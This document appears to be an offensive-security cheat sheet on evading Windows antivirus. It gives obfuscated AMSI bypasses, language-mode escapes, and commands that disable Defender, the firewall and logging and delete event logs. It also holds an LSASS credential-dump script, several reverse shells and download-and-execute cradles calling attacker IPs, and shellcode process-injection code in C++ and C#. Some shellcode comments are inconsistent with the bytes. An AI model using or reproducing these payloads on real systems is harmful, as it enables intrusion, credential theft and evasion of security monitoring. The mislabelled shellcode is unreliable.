  • Use Hexadecimal or Binary Representation: Convert portions of the code into hexadecimal or binary representation. This makes it more difficult to understand the code at a glance.
  • Code Fragmentation: Split the code into smaller functions or files, each with a different purpose. This makes it harder to understand the overall structure and flow of the program.
  • Use Evasion techniques (checkpoint.com): Add CPU temp check, check the screen resolution, check if its a sandbox, add many random sleep functions. Use the website. For ex: Check if the system have 5 or more recent files opened, if not, dont run the payload because that might be a VM. The main goal is to check if its an actual machine or Sandbox/VM/AV Scanner. One particular if you're targeting a client machine is to check for mouse movement.
  • Use threatcheck or defendercheck: You have a code? Compile and upload to antiscan.me. If detected, remove part of the code, until its not detected anymore. When you find out what part of the code that triggered the AV, obfuscate it.

AV Evasion MindMap - From Start to finish

(AV) Anti-Virus - The Hacker Recipes

File:2023-06-Bypass-AV-1.svg

General AV Evasion cheatsheet

Check AV - Running, Exclusion, Disable

  • Check if Windows Defender is running: Get-MpComputerStatus | Select RealTimeProtectionEnabled
  • Get info about Windows Defender: Get-MpPreference
  • Find excluded folders from Windows Defender: Get-MpPreference | select Exclusion*
  • Create exclusion: Set-MpPreference -ExclusionPath "<path>"
  • Check AV detections: Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime
  • Get last AV detection: Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1
  • Disable AV monitoring: Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true
// What AV is running on the system
// Importing necessary namespaces
using System;
using System.Management;
internal class Program
{
    static void Main(string[] args)
    {
        var status = false; // Variable to track the presence of antivirus software
        Console.WriteLine("[+] Antivirus check is running .. ");
        // Array of antivirus processes to check for
        string[] AV_Check = {
            "MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe",
            "bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe",
            "avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe",
            "SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"
        };
        // Creating a ManagementObjectSearcher to query Windows processes
        var searcher = new ManagementObjectSearcher("select * from win32_process");
        var processList = searcher.Get(); // Retrieving the list of processes
        int i = 0;
        foreach (var process in processList)
        {
            // Checking if the process is one of the antivirus processes
            int _index = Array.IndexOf(AV_Check, process["Name"].ToString());
            if (_index > -1)
            {
                // Antivirus process found
                Console.WriteLine("--AV Found: {0}", process["Name"].ToString());
                status = true;
            }
            i++;
        }
        // Checking the status variable to determine if antivirus software was found or not
        if (!status)
        {
            Console.WriteLine("--AV software is not found!");
        }
    }
}

Windows Firewall

  • Get state: Get-NetFirewallProfile -PolicyStore ActiveStore
  • Get rules: Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize
  • Disable firewall: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • Enable firewall: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
  • Change default policy: Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow
  • Open port on firewall: netsh advfirewall firewall add rule name="Allow port" dir=in action=allow protocol=TCP localport=<PORT>
  • Remove firewall rule: Remove-NetFirewallRule -DisplayName "Allow port"

Powershell - ASMI bypass methods, Disable AV, etc

AMSI.fail

AMSI Bypass

  • Start 64 bit powershell: %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
  • Change execution policy: Set-ExecutionPolicy Bypass or -ExecutionPolicy Bypass
  • Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:

If patched, just change up the strings/variables.

Single-line bypasses:

$A=\"5492868772801748688168747280728187173688878280688776\" $B=\"8281173680867656877679866880867644817687416876797271\" function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \" \"} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,'NonPublic,Static').SetValue ($null,$true)

Multi-line bypass:

$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType ( (' {0} {1}i {2}' -f $a,$b,$u))
$field = $assembly.GetField ( ('a {0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue ($null,$true)

Single-line bypasses:

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Credit: https://buaq.net/go-98295.html

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

Credit: https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification (however, I think it's originally from Matt Graeber)

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)

Credit: https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html

Bypass CLM (Constrained Language Mode)

Escapes for Constrained Language Mode:

# Escape 1
$ExecutionContext.SessionState.LanguageMode
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode
# Escape 2
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = "FullLanguage"
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = "FullLanguage"
# Escape 3
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 4
$ExecutionContext.SessionState.LanguageMode
$ExecutionContext.SessionState.GetType().GetField('languageMode','NonPublic,Instance').SetValue($ExecutionContext.SessionState,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 5
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)
$ExecutionContext.SessionState.LanguageMode
# Escape 6
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedLanguageMode','NonPublic,Static').SetValue($null,1)
$ExecutionContext.SessionState.LanguageMode
# Escape 7
$ExecutionContext.SessionState.LanguageMode
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('signatures','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.List[string]'))
[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').GetField('optimizedAstCache','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.Dictionary[string,System.Management.Automation.Ast]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').SetValue($null,(New-Object 'Collections.Generic.HashSet[string]'))
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedVariables','NonPublic,Static').Add('*')
[Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetField('allowedCommands','NonPublic,Static').Add('*')
$ExecutionContext.SessionState.LanguageMode
# Escape 8
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}

Bypass logging

Logging evasion techniques:

# Technique 1: Disable Script Block Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 2: Disable Transcription Logging and Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force
# Technique 3: Delete the log files from the system (requires admin privileges)
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)
Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"

Disable MS Defender (Require elevation)

Turning off Windows Defender: 

Get-MPPreference
Set-MPPreference -DisableRealTimeMonitoring $true
Set-MPPreference -DisableIOAVProtection $true
Set-MPPreference -DisableIntrusionPreventionSystem $true

Add folder exclusion

Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"

Checking exclusions

Get-MpPreference | Select-Object -Property ExclusionPath
ExclusionPath
-------------
{C:\temp}

LSASS dumping without triggering Defender

$S = "C:\temp"
$P = (Get-Process lsass)
$A = [PSObject].Assembly.GetType('Syst'+'em.Manage'+'ment.Autom'+'ation.Windo'+'wsErrorRe'+'porting')
$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
$C = [Reflection.BindingFlags] 'NonPublic, Static'
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C)
$PF = "$($P.Name)_$($P.Id).dmp"
$PDP = Join-Path $S $PF
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$F.Close()

Reverse Shells

Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2  = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()

Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)

$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H  = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()

Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)

$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r  = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()

Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)

Reverse PowerShell:

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
        $writer.Write("PS> ");
        $writer.Flush();
        $read = $null;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();

Execute assembly in memory

WebClient DownloadData http://x.x.x.x/file.exe method:

$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)

Tools that may help with AV Evasion:

Text Encoding Technique for Bypassing Detection and Remote Command Execution

cat rev.ps1

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.2', 4444);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
        $writer.Write("PS $(pwd)> ");
        $writer.Flush();
        $read = $null;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();
echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==
./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA=='
 python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 -
rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.10 63157
PS C:\Windows\System32>

Go Binaries Obfuscation for Defender Bypass

Twitter source

# Example
go install mvdan.cc/garble@latest
git clone https://github.com/jpillora/chisel.git
cd chisel
garble -tiny -literals -seed=random build main.go

Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities


Windows API

What is Windows API?

> The Windows API provides native functionality to interact with key components of the Windows operating system.

Windows API Components

Win32 API Top down list

Layer Explanation
API A top-level/general term or theory used to describe any call found in the win32 API structure.
Header files or imports Defines libraries to be imported at run-time, defined by header files or library imports. Uses pointers to obtain the function address.
Core DLLs A group of four DLLs that define call structures. (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem.
Supplemental DLLs Other DLLs defined as part of the Windows API. Controls separate subsystems of the Windows OS. ~36 other defined DLLs. (NTDLL, COM, FVEAPI, etc.)
Call Structures Defines the API call itself and parameters of the call.
API Calls The API call used within a program, with function addresses obtained from pointers.
In/Out Parameters The parameter values that are defined by the call structures. 

Common Windows API's

Below is a list of some common Windows API's

Component Description
Core Libraries
Kernel32.dll Provides core system functionality, including process and thread management, memory management, file operations, synchronization, and system time.
User32.dll Offers user interface functions for creating and managing windows, handling input events, drawing graphics, and interacting with user controls.
Gdi32.dll Provides graphics device interface functions for drawing and manipulating graphical objects, such as lines, curves, fonts, and images.
Shell32.dll Supports shell operations, including file and folder manipulation, desktop management, shortcut creation, and accessing system icons.
Advapi32.dll Offers advanced system services, such as registry access, security management, event logging, user account management, and cryptographic functions.
Comdlg32.dll Provides common dialog functions for opening and saving files, selecting colors and fonts, and displaying standard system dialogs.
Wininet.dll Enables internet-related operations, including HTTP/FTP communication, cookie management, URL handling, and caching.
Networking
Ws2_32.dll Offers functions for network socket programming, including creating and managing sockets, sending and receiving data over TCP/IP, and DNS resolution.
Netapi32.dll Supports network management and administration, including accessing network resources, user and group management, and domain operations.
Security
Secur32.dll Provides security-related functions, including authentication services, encryption and decryption, credential management, and secure channel establishment.
Crypt32.dll Supports cryptographic operations, such as generating and verifying digital signatures, encrypting and decrypting data, and managing certificates.
UI Automation
Uiautomationcore.dll Enables accessibility features and automation of user interface elements for assistive technologies and application testing.
Windows Controls
Comctl32.dll Offers common controls, such as buttons, list views, tree views, progress bars, and tab controls, to enhance the user interface of Windows applications.
Winmm.dll Provides multimedia functions for audio and video playback, MIDI control, waveform audio manipulation, and timer management.
DirectX
Direct3D Enables 3D graphics rendering, including creating and managing rendering devices, rendering pipelines, textures, and shaders.
DirectInput Supports input from keyboards, mice, joysticks, and other gaming devices for game development and interactive applications.
Miscellaneous
Ole32.dll Supports COM (Component Object Model) functionality, including object creation, marshaling interfaces, and inter-process communication.
Shlwapi.dll Provides utility functions for string manipulation, file and path operations, URL handling, and registry access.

Operating System Libraries

Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of ASLR (Address Space Layout Randomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: P/Invoke and the Windows header file.

Windows Header File:

The Windows header file (windows.h) provided by Microsoft is a solution to overcome ASLR (Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call Win32 functions. It takes care of obtaining function addresses or pointers for us.

Example:

#include

P/Invoke:

P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call.

Example:

using System;
using System.Runtime.InteropServices;
public class Program
{
    [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    ...
}

In the above code, we import the user32 DLL using the attribute [DllImport].

Note: The function declaration is not complete yet; we need to define it externally. The extern keyword informs the runtime about the DLL we imported. Here's an example of creating the external method:

using System;
using System.Runtime.InteropServices;
public class Program
{
    ...
    private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
}

Now, we can invoke the function MessageBox as a managed method, even though it's an unmanaged function from the Win32 API.

API Call Structure

Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page.

WriteProcessMemory API call as an example:

BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );

C API Implementation

The windows.h header file is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program.

#include

Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using CreateWindowExA.

HWND CreateWindowExA(
  [in]           DWORD     dwExStyle, // Optional windows styles
  [in, optional] LPCSTR    lpClassName, // Windows class
  [in, optional] LPCSTR    lpWindowName, // Windows text
  [in]           DWORD     dwStyle, // Windows style
  [in]           int       X, // X position
  [in]           int       Y, // Y position
  [in]           int       nWidth, // Width size
  [in]           int       nHeight, // Height size
  [in, optional] HWND      hWndParent, // Parent windows
  [in, optional] HMENU     hMenu, // Menu
  [in, optional] HINSTANCE hInstance, // Instance handle
  [in, optional] LPVOID    lpParam // Additional application data
);

Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to CreateWindowsExA.

HWND hwnd = CreateWindowsEx(
	0,
	CLASS_NAME,
	L"Hello THM!",
	WS_OVERLAPPEDWINDOW,
	CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
	NULL,
	NULL,
	hInstance,
	NULL
	);

Commonly Abused API Calls

API Call Explanation
LoadLibraryA Maps a specified DLL  into the address space of the calling process
GetUserNameA Retrieves the name of the user associated with the current thread
GetComputerNameA Retrieves a NetBIOS or DNS  name of the local computer
GetVersionExA Obtains information about the version of the operating system currently running
GetModuleFileNameA Retrieves the fully qualified path for the file of the specified module and process
GetStartupInfoA Retrieves contents of STARTUPINFO structure (window station, desktop, standard handles, and appearance of a process)
GetModuleHandle Returns a module handle for the specified module if mapped into the calling process's address space
GetProcAddress Returns the address of a specified exported DLL  function
VirtualProtect Changes the protection on a region of memory in the virtual address space of the calling process

Abusing Windows Internals

The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM (Component Object Model), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs (Dynamic Link Libraries), and the PE (Portable Executable) format.

Injection types

Injection Type Function
Process Hollowing Inject code into a suspended and “hollowed” target process
Thread Execution Hijacking Inject code into a suspended target thread
Dynamic-link Library Injection Inject a DLL into process memory
Portable Executable Injection Self-inject a PE image pointing to a malicious function into a target process

Process Injection (Shellcode injection)

Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data.

A process houses an application and has its own memory space, while threads execute application code within a process.

Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread.

Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level.

We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process.

For remote thread creation, we use CreateRemoteThread API.

At a high level, shellcode injection can be broken up into four steps:

  • Open a target process with all access rights.
  • Allocate target process memory for the shellcode.
  • Write shellcode to allocated memory in the target process.
  • Execute the shellcode using a remote thread.
  • Open a target process with all access rights:
  • Identify the target process you want to inject the shellcode into. Let's assume the target process is named "target.exe".
  • Use a function like OpenProcess() to open the target process with the necessary access rights.

For example:

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
    // Error handling
}
  • Allocate target process memory for the shellcode:
  • Determine the size of the shellcode you want to inject.
  • Use a function like VirtualAllocEx() to allocate memory within the target process.

For example:

LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL) {
    // Error handling
}
  • Write shellcode to allocated memory in the target process:
  • Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory().

For example:

if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
    // Error handling
}
  • Execute the shellcode using a remote thread:
  • Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written.
  • Use a function like CreateRemoteThread() to create the remote thread.

For example:

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (hThread == NULL) {
    // Error handling
}

The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup.

c++ example of shellcode injection into the "notepad.exe"

Example of shellcode injection into the "notepad.exe" process using C++ and the Windows API:

#include
#include
// The shellcode to be injected (example: display a message box)
unsigned char shellcode[] =
    "\x31\xc0"                 // xor eax, eax
    "\x50"                     // push eax
    "\x68\x2e\x65\x78\x65"     // push 0x6578652e (ASCII string: ".exe")
    "\x68\x63\x6d\x64\x2e"     // push 0x2e646d63 (ASCII string: "cmd.")
    "\x8b\xcc"                 // mov ecx, esp
    "\x6a\x44"                 // push 0x44
    "\x6a\x01"                 // push 0x01
    "\x51"                     // push ecx
    "\xff\xd0"                 // call eax
    "\x83\xc4\x0c"             // add esp, 0x0c
    "\x31\xc0"                 // xor eax, eax
    "\x50"                     // push eax
    "\x68\x6e\x6f\x74\x65"     // push 0x65746f6e (ASCII string: "note")
    "\x68\x65\x70\x61\x64"     // push 0x64617065 (ASCII string: "epad")
    "\x8b\xcc"                 // mov ecx, esp
    "\x6a\x00"                 // push 0x00
    "\x51"                     // push ecx
    "\xff\xd0";                // call eax
int main() {
    // Open the target process (notepad.exe)
    DWORD targetProcessId;
    HWND hwndNotepad = FindWindowA(NULL, "Untitled - Notepad");
    if (hwndNotepad != NULL) {
        GetWindowThreadProcessId(hwndNotepad, &targetProcessId);
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
        if (hProcess == NULL) {
            std::cout << "Failed to open target process." << std::endl;
            return 1;
        }
        // Allocate memory in the target process
        LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (remoteMemory == NULL) {
            std::cout << "Failed to allocate memory in the target process." << std::endl;
            CloseHandle(hProcess);
            return 1;
        }
        // Write the shellcode to the allocated memory
        if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) {
            std::cout << "Failed to write shellcode to the target process." << std::endl;
            VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return 1;
        }
        // Execute the shellcode in the target process by creating a remote thread
        HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
        if (hThread == NULL) {
            std::cout << "Failed to create a remote thread in the target process." << std::endl;
            VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return 1;
        }
        // Wait for the remote thread to finish
        WaitForSingleObject(hThread, INFINITE);
        // Cleanup
        CloseHandle(hThread);
        VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        std::cout << "Shellcode injected successfully!" << std::endl;
    } else {
        std::cout << "Notepad process not found." << std::endl;
        return 1;
    }
    return 0;
}

Please note that this example assumes that the "notepad.exe" process is already running and has an untitled notepad window open. If you're testing this on your system, make sure to open Notepad and keep it untitled before running the code.

The provided shellcode in this example displays a message box with the title "notepad" and the message "cmd.exe". You can modify the shellcode to execute different actions or payloads based on your requirements.

C# example

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Inject
{
    class Program
    {
        // Import necessary functions from kernel32.dll
        // Opens an existing local process object
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
        // Reserves or commits a region of memory within the virtual address space of a specified process
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        // Writes data to an area of memory in a specified process
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
        // Creates a thread that runs in the virtual address space of another process
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        static void Main(string[] args)
        {
	// Automatically obtain process ID
            Process[] localByName = Process.GetProcessesByName("explorer");
            if (localByName.Length == 0)
            {
                Console.WriteLine("No explorer process found.");
                return;
            }
            int targetProcessId = localByName[0].Id;
